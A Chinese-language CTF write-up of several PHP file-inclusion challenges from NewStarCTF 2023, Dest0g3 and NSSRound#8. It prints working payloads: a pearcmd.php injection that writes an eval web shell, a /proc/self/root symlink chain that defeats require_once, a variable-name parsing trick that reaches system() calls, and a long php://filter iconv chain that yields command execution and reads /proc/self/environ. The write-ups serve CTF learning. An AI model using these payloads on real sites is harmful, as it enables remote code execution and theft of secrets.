文件包含题(进阶)

[NewStarCTF 2023 公开赛道]Include

直接传参:

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/shell.php

(  成功执行,  写入命令到/tmp/shell.php  ,访问这个文件进行 RCE)

可以发现访问到了这个文件,然后进行POST传参 进行  RCE

列出根目录

得到flag

[Dest0g3 520迎新赛]phpdest

需要绕过   require_once  ,用php伪协议配合多级符号链接的办法进行绕过

/proc/self/ 指向当前进程的/proc/pid/

/proc/self/root/ 是指向/的符号链接 (指向根目录)

payload:(能多不能少)
?file=php://filter/convert.base64- encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/sel f/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/roo t/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag. php

具体原理看文章:php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台

[NSSRound#8 Basic]MyPage

同样可以利用上面两种方法:
用php伪协议配合多级符号链接的办法进行绕过
或者 用pearcmd.php 写shell 到文件里

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

读取到的源码

直接包含flag.php ,即可拿到flag

第三种方法是利用   PHP Base64 Filter 宽松解析  ,构造RCE, 看了好久目前还没看懂
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

hxp CTF 2021 - The End Of LFI? - 跳跳糖

[NSSRound#8 Basic]MyDoor

进去什么都没有,但是可以看到url  上有个?file=  可以看出是个get 传参

利用伪代码读取源码,

?file=php://filter/convert.base64-encode/resource=index.php

需要传入 N_S.S 
(直接传是传不了的,直接回到了之前的状态)

?N[S.S=system("ls");  

一个php的特性:

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候,php会将怪异的变量名转换成有效的,在进行解析时会删除空白符,并将空格、+、点、[ 转换为下划线。但是用一个特性是可以绕过的,就是当 [ 提前出现后,[ 会转换成下划线,而后面的字符就不会再被转义了。

比如要GET传参 N_S.S 要这样传:N[S.S == N_S.S

?N[S.S=system("ls ../");

?N[S.S=system("ls ../../");

?N[S.S=system("ls ../../../");
(一直找到根目录也没能找到flag)

用 cat 命令 随便进入到几个文件中没能发现flag  ,
在环境变量中,需要用到  system("env"); 

另外一种使用  PHP Base64 Filter 宽松解析  的方法

(网上可以找脚本生成 RCE ,但我是有点懵的,不是很理解,先放在这里,之后再去学习理解一下)

前面的一大串 应该是生成一个  <?=`$_GET[0]`;?>  
https://www.cnblogs.com/zpchcbd/p/17368982.html


?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=index.php&0=cat+/proc/self/environ

直接传参env 也行
(不是使用system("env");    应该是前面一串构造的为   <?=`$_GET[0]`;?>       )

相关推荐

  1. Vue 面试

    2024-04-02 19:20:04       50 阅读
  2. react面试

    2024-04-02 19:20:04       45 阅读
  3. C++--C++11包装

    2024-04-02 19:20:04       55 阅读
  4. 4.2 - B 相生相克

    2024-04-02 19:20:04       59 阅读
  5. kafka面试(基础--高

    2024-04-02 19:20:04       30 阅读
  6. 文件包含

    2024-04-02 19:20:04       51 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-02 19:20:04       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-02 19:20:04       106 阅读
  3. 在Django里面运行非项目文件

    2024-04-02 19:20:04       87 阅读
  4. Python语言-面向对象

    2024-04-02 19:20:04       96 阅读

热门阅读

  1. 每日一题:C语言经典例题之门禁系统

    2024-04-02 19:20:04       38 阅读
  2. 一文理解Python的全局解释器锁(GIL)

    2024-04-02 19:20:04       53 阅读
  3. 打造专属wow服务器配置需求!

    2024-04-02 19:20:04       36 阅读
  4. 前端低代码平台的使用学习

    2024-04-02 19:20:04       30 阅读
  5. Qt实现Kermit协议(二)

    2024-04-02 19:20:04       38 阅读
  6. C++中重载和重写的区别

    2024-04-02 19:20:04       35 阅读
  7. 解密SFP和QSFP:你需要知道的一切

    2024-04-02 19:20:04       42 阅读
  8. Git使用

    2024-04-02 19:20:04       39 阅读